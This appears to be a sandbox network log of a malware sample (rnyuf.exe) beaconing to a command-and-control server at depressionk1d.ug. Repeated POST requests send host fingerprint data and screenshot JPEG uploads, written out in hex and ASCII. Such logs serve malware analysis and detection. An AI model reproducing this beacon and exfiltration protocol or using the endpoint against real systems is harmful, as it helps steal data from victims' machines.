Nov 12, 2021 22:23:15.835007906 CET	2097	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:15.857228041 CET	2102	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:15.857259989 CET	2110	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:15.857369900 CET	2116	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:15.857422113 CET	2122	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:15.879940987 CET	2125	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:15.880028963 CET	2139	OUT	Data Raw: 03 c5 28 3c d3 41 a5 26 98 ac 48 0d 3b 39 a8 f7 52 83 54 89 68 7e 69 41 a6 e6 8a a2 6c 48 0d 3b 35 18 a7 53 4c 96 87 e6 9d 9a 8f 34 a0 fb d5 5c 9b 12 03 4e 06 a2 06 9c 0d 32 5a 25 cd 00 d3 33 4a 1a 98 ac 49 9a 01 a6 73 4f 14 c9 b0 e1 52 2f 15 18 Data Ascii: (<A&H;9RTh~iAlH;5SL4\N2Z%3JIsOR/2.iY2,M54h<3<SsLICS3OwFX7TwR'}@;4L$*i<}89iAqBxZvO(n??3!T6PY?G:nf;r
Nov 12, 2021 22:23:15.880099058 CET	2144	OUT	Data Raw: 37 92 6e 14 6d 93 19 da ca c1 86 47 a6 54 57 95 86 9a 85 68 4a 5b 26 bf 33 aa ac 5b 83 4b b1 f2 86 68 07 34 bb 29 42 1a fb ab 1e 06 82 52 d1 b4 d2 ec 34 f5 10 94 52 ec 34 bb 0d 3b 05 cf b4 09 ac a7 3f e9 32 ff 00 be 7f 9d 69 93 59 2e 7f d2 65 ff Data Ascii: 7nmGTWhJ[&3[Kh4)BR4R4;?2iY.e\|:JC`1O:_UG_8P<otRc"z20S{Wzy(h/q3Gk*e(M8BM\MKqkGpEboAm=x:4wk,
Nov 12, 2021 22:23:17.368885040 CET	2193	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:17 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
140	192.168.2.4	49925	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:49.416085005 CET	7138	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:49.442693949 CET	7138	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
141	192.168.2.4	49926	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:49.579570055 CET	7139	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:49.606867075 CET	7139	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
142	192.168.2.4	49927	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:49.736486912 CET	7140	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:49.736641884 CET	7140	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:49.736844063 CET	7150	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:49.736985922 CET	7153	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:49.759546041 CET	7167	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:49.759576082 CET	7172	OUT	Data Raw: 55 6d 3a 39 6d 6d 34 c3 76 3c 3b 2c e8 f7 b1 c1 e5 f9 a2 f8 a6 f6 33 7c 99 db f2 e5 bb 71 5c 6d dd e5 c5 fd c9 b8 b9 31 6f 20 28 58 a1 48 91 40 ec 11 00 55 1f 41 4f 1a 96 a2 b6 e6 d9 6e b1 01 b5 36 65 3c b5 ff 00 52 64 f3 4a e7 19 fb fc e7 af 6c Data Ascii: Um:9mm4v<;,3\|q\m1o (XH@UAOn6e<RdJl$heJZ.'<-'aU[*S,07EWu.~PskKm\y$/4I(6%f\tw7Vr[bi#@xl z-$Ke8K.#$dT
Nov 12, 2021 22:23:49.759598017 CET	7173	OUT	Data Raw: 06 8d be fa 03 52 e6 d0 29 eb a9 9d b6 8d 80 f6 ad 51 69 6f 2f dc 62 b4 36 95 2f 54 65 6a 9f 6d 1e a6 8a 32 7a a3 24 c0 08 a8 5e d3 22 b5 9a ce 68 fe fc 4d 51 f9 5e d5 4a a4 58 b9 e5 1d cc 29 6c fd ab 3e 7b 2f 6a eb 0d be e1 d2 a0 92 c7 23 ee 9a Data Ascii: R)Qio/b6/Tejm2z$^"hMQ^JX)l>{/j#OFMLIMJtb]i8j:1Tek@,W$DfCt3 ?s)WEpAIo3o)kKXdPt-^6B=yyFxkfy
Nov 12, 2021 22:23:49.759665012 CET	7176	OUT	Data Raw: e4 77 a7 cd 17 ba 17 2c 96 cc b2 74 b8 4f 47 a6 9d 20 ff 00 0b d3 04 cc 3b d3 d6 e1 c7 43 4e d4 df 41 5e aa ea 44 74 a9 87 4c 1a 89 b4 fb 85 3f 70 d5 f1 76 e3 bd 4a 97 8d de 8f 67 49 ec 1e d6 aa 32 4d ac c3 f8 0f e5 4d 31 38 ea a6 b7 85 da 9e ab Data Ascii: w,tOG ;CNA^DtL?pvJgI2MM18NobvZ?-4Z?A_V}}j=Qvm*[?%')biHm&QQ:u)}JXV>~T)F1Shaq8p+IpH%:S AO
Nov 12, 2021 22:23:49.759702921 CET	7179	OUT	Data Raw: 8c 52 f9 c3 f8 51 45 17 64 ba 9e 45 41 1c a7 a2 13 f8 54 8b 6f 31 fe 1c 7d 6a 73 33 f6 c0 a6 99 1f fb c6 8d 49 e7 6c 05 ab 77 75 1f 8d 3c 5b a0 eb 27 e5 51 ee 3e b4 80 d3 b3 25 dd 96 36 40 a7 ef 13 4e df 0a f4 50 6a b6 68 a3 90 9b 16 85 d0 1f 75 Data Ascii: RQEdEATo1}js3Ilwu<['Q>%6@NPjhuU\^#,{~`4#7V'QG${*5<_[W/V.>Cd;1^!gGF=nl5}NPF;m)hV(\$\|.<oZO7Z$dW
Nov 12, 2021 22:23:49.782138109 CET	7182	OUT	Data Raw: 9a 70 aa 44 b1 f4 52 52 d5 12 38 53 81 a6 0a 75 52 25 a2 50 78 a7 e6 a2 06 9c 0d 5a 64 34 48 0d 3c 1a 88 1e 69 cb 56 99 0d 13 03 4f 06 a1 14 fc d5 a6 66 d1 26 68 06 99 9a 50 6a ae 2b 12 06 a7 87 a8 41 a7 83 4d 32 5a 25 0f ef 4f 0f 50 03 4a 0d 51 Data Ascii: pDRR8SuR%PxZd4H<iVOf&hPj+AM2Z%OPJQ%!ETPjpErrMS;u#<zNJy^]67Nh+IlFf!Ua9T]H4kzp)U4aD{STQ{8VHma=8/lNt.8
Nov 12, 2021 22:23:49.782165051 CET	7185	OUT	Data Raw: 03 c5 28 3c d3 41 a5 26 98 ac 48 0d 3b 39 a8 f7 52 83 54 89 68 7e 69 41 a6 e6 8a a2 6c 48 0d 3b 35 18 a7 53 4c 96 87 e6 9d 9a 8f 34 a0 fb d5 5c 9b 12 03 4e 06 a2 06 9c 0d 32 5a 25 cd 00 d3 33 4a 1a 98 ac 49 9a 01 a6 73 4f 14 c9 b0 e1 52 2f 15 18 Data Ascii: (<A&H;9RTh~iAlH;5SL4\N2Z%3JIsOR/2.iY2,M54h<3<SsLICS3OwFX7TwR'}@;4L$*i<}89iAqBxZvO(n??3!T6PY?G:nf;r
Nov 12, 2021 22:23:49.831891060 CET	7250	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:49 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
143	192.168.2.4	49928	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:49.746018887 CET	7153	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:49.771595001 CET	7179	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
144	192.168.2.4	49929	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:49.902368069 CET	7251	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:49.928647995 CET	7251	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:49 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
145	192.168.2.4	49930	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:50.061553001 CET	7252	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:50.088759899 CET	7253	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
146	192.168.2.4	49931	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:50.237103939 CET	7253	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:50.263988018 CET	7254	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
147	192.168.2.4	49932	178.208.83.45	80	C:\Users\user\AppData\Local\Temp\5c436eadc6\rnyuf.exe

Timestamp	kBytes transferred	Direction	Data
Nov 12, 2021 22:23:50.421726942 CET	7254	OUT	POST /k8FppT/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: depressionk1d.ug Content-Length: 82 Cache-Control: no-cache Data Raw: 69 64 3d 31 35 32 31 33 38 35 33 33 32 31 39 26 76 73 3d 32 2e 35 30 26 73 64 3d 37 62 36 31 34 35 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 31 26 70 63 3d 38 38 38 36 38 33 26 75 6e 3d 6a 6f 6e 65 73 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 Data Ascii: id=152138533219&vs=2.50&sd=7b6145&os=1&bi=1&ar=1&pc=888683&un=user&dm=&av=13&lv=0
Nov 12, 2021 22:23:50.447038889 CET	7255	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:50 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive Keep-Alive: timeout=5 Vary: Accept-Encoding X-Powered-By: PHP/5.6.37 Data Raw: 36 0d 0a 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 6<c><d>0
Nov 12, 2021 22:23:50.461623907 CET	7255	OUT	POST /k8FppT/index.php?scr=1 HTTP/1.1 Content-Type: multipart/form-data; boundary=----db1a118290543eba3f3170fd42f2b8f5 Host: depressionk1d.ug Content-Length: 106671 Cache-Control: no-cache
Nov 12, 2021 22:23:50.461782932 CET	7255	OUT	Data Raw: 2d 2d 2d 2d 2d 2d 64 62 31 61 31 31 38 32 39 30 35 34 33 65 62 61 33 66 33 31 37 30 66 64 34 32 66 32 62 38 66 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 61 74 61 Data Ascii: ------db1a118290543eba3f3170fd42f2b8f5Content-Disposition: form-data; name="data"; filename="152138533219.jpg"Content-Type: application/octet-stream
Nov 12, 2021 22:23:50.462085962 CET	7265	OUT	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 60 00 60 00 00 ff db 00 43 00 08 06 06 07 06 05 08 07 07 07 09 09 08 0a 0c 14 0d 0c 0b 0b 0c 19 12 13 0f 14 1d 1a 1f 1e 1d 1a 1c 1c 20 24 2e 27 20 22 2c 23 1c 1c 28 37 29 2c 30 31 34 34 34 1f 27 39 3d Data Ascii: JFIF``C $.' ",#(7),01444'9=82<.342C2!!22222222222222222222222222222222222222222222222222"}!1A
Nov 12, 2021 22:23:50.462224007 CET	7268	OUT	Data Raw: c9 35 0e b5 35 bb 21 ce 2b a9 95 45 49 34 7e 54 f2 47 9c ec 62 b9 f5 c5 47 5a 27 72 82 8a 5a 28 01 28 a5 a2 80 12 96 97 14 62 80 12 8a 5a 3b d0 02 51 4b 45 31 06 28 a0 52 d1 60 12 8a 5a 50 29 88 4c 52 d1 8a 0d 00 14 51 8a 5a 00 4c 51 8a 5c 51 8a Data Ascii: 55!+EI4~TGbGZ'rZ((bZ;QKE1(R`ZP)LRQZLQ\QaqR@%((4QJ)h1@KEc4SbF(\e.=iamR,.(cq.)hIv(Qv))X.'4sF(Z9ME4\PE6Z)XbQKE%Q`REJ)iCI
Nov 12, 2021 22:23:50.485496044 CET	7273	OUT	Data Raw: 42 41 c1 e0 f2 2b ca a9 1e 6a 95 17 9a fc 91 ee aa 9e ce 96 1e 76 4e d1 7b ff 00 8e 64 1a 07 87 e1 d2 2d 33 2a c7 2d ec 8c 64 9a 6c 64 ee 3d 81 3c e0 74 1f 9d 2d c7 85 f4 bb 99 fc c6 8a 55 46 90 48 f0 47 33 2c 4e c3 9c b2 03 82 6b 8a 3a ff 00 88 Data Ascii: BA+jvN{d-3*-dld=<t-UFHG3,Nk:,v\]Gw$V5g]/'7mB&f\c/gr34"NlbI?Z"0Lt?EWqQ@%PRS(J3@Q
Nov 12, 2021 22:23:50.485570908 CET	7294	OUT	Data Raw: e7 4f bf 96 7d 42 39 a5 2b 69 2e c9 54 40 01 62 30 14 2f 0d 97 3b b3 9c 0a e7 fc 1d a5 6a 53 2a eb 76 d6 5a 8d f4 5a 6d cc 52 25 ad 94 2d 23 4b 38 cb 26 ed a0 ed 51 b7 96 eb c8 03 ae 47 2e 61 43 da 94 c6 a7 1c 74 aa f6 52 bb 77 df fc ee 43 a9 17 Data Ascii: O}B9+i.T@b0/;jSvZZmR%-#K8&QG.aCtRwCechMw+>y_o\sS5_od.+,i;xQsqRqk^_/6Gc[?rXciNr9,8bHSqRR;4fb
Nov 12, 2021 22:23:50.508112907 CET	7316	OUT	Data Raw: 83 14 62 81 45 30 b8 53 85 36 94 1a 04 28 eb 4e 1d e9 b4 b4 d0 85 a2 8a 5a 64 8b 8a 4c 52 81 4a 06 29 d8 06 e2 8a 53 49 40 20 a2 92 8a 40 14 b4 52 1a 00 5a 51 40 a2 98 0b 4b 49 4a 29 88 5a 33 49 45 08 43 b3 40 eb 40 a3 35 40 3a 8a 6e 68 14 13 61 Data Ascii: bE0S6(NZdLRJ)SI@ @RZQ@KIJ)Z3IEC@@5@:nhaii(0RRZJZhLS@C:)BSiEQ,uQNuQ#<*1OH<RMU:uM~itj-f8dvjM3N8h<8isLlJ8Pi.h0Pib@iA
Nov 12, 2021 22:23:50.508181095 CET	7337	OUT	Data Raw: a8 66 88 72 f5 a7 e6 9a 29 d5 0c d1 0f 53 c5 79 17 c4 f0 16 f2 c7 1f f3 cd ff 00 f4 2a f5 b1 d4 d7 91 fc 4e 3f e9 d6 3f f5 c9 bf f4 2a d2 87 c4 45 53 c7 5a 35 63 92 29 04 29 e9 52 62 94 57 2f 2a 3d 2e 66 33 ca 5e 3d a9 db 17 76 71 cd 2d 19 a7 64 Data Ascii: fr)SyN??ESZ5c))RbW/=.f3^=vq-dbhN!] @7n4Z9P(t0hVBJ!@sE93Ri)c<DxJ)rc1(nqO ``PFFHD~D#KIF=*c4yIOvBx
Nov 12, 2021 22:23:50.508234024 CET	7346	OUT	Data Raw: 4d ef 45 30 1d 9a 5c d3 69 69 a1 0e 14 bd e9 a2 97 34 ee 21 d9 a2 9b 9a 33 4c 56 1d 9a 5c d3 33 4b 4c 56 1e 29 c2 9a 3b 52 8a 68 4c 5a 5a 4a 29 88 5a 29 28 34 08 5a 5a 4a 29 80 b9 a5 a4 a2 80 14 1a 70 a6 52 8a 68 43 fb 52 d3 41 a5 aa 24 78 34 b4 Data Ascii: ME0\ii4!3LV\3KLV);RhLZZJ)Z)(4ZZJ)pRhCRA$x4iiE474fNPH(N5Dp4id8U!N$qXp4gLZB+hEQf4s).MOZhjvsUqXwJ\hyM2lIK`4<Pj=n+
Nov 12, 2021 22:23:50.530805111 CET	7352	OUT	Data Raw: 85 cd 04 d3 73 49 9a 2e 3b 0e a3 34 ca 5a 43 b0 b9 a3 b5 25 14 00 a6 92 92 97 b5 20 0c d2 e6 9b 49 40 0f cd 14 dc d1 40 0b 45 25 14 00 ec d3 68 a2 80 0a 5a 4a 33 45 c0 29 69 39 a2 81 87 7a 5c d2 51 40 8a d4 51 45 62 6c 7a 8f c0 6f f9 1e 6f 7f ec Data Ascii: sI.;4ZC% I@@E%hZJ3E)i9z\Q@QEblzoo2*dUiS#k{`?dUEbs5IwzxO'XJc5\|Uea?U5/F\|i(E}-%-[Yu[Yb?GgGG
Nov 12, 2021 22:23:50.530839920 CET	7361	OUT	Data Raw: 14 02 0a e4 11 c8 22 a7 be bc bb d4 ee 9a eb 50 bb b8 bb b8 60 01 96 e2 53 23 90 38 19 24 93 4b d9 c9 3d 3f ae a5 3a 89 b6 df f5 a3 5f a8 db 89 16 5b bb 89 10 e5 5e 56 65 3e a0 9a d6 f0 77 fc 8f 1e 1f ff 00 b0 95 bf fe 8c 5a c5 03 02 82 32 30 6b Data Ascii: "P`S#8$K=?:_[^Ve>wZ20kX.Tc)fs!jOSPoSw'Ho?QZ$vlPsPV4=#@7!0bQi5mv/eQ;ao$MomYH'-sZm\|'6kjzZHbx8i
Nov 12, 2021 22:23:50.556360006 CET	7362	IN	HTTP/1.1 200 OK Server: nginx Date: Fri, 12 Nov 2021 21:23:50 GMT Content-Type: text/html Content-Length: 0 Connection: keep-alive Keep-Alive: timeout=5 X-Powered-By: PHP/5.6.37
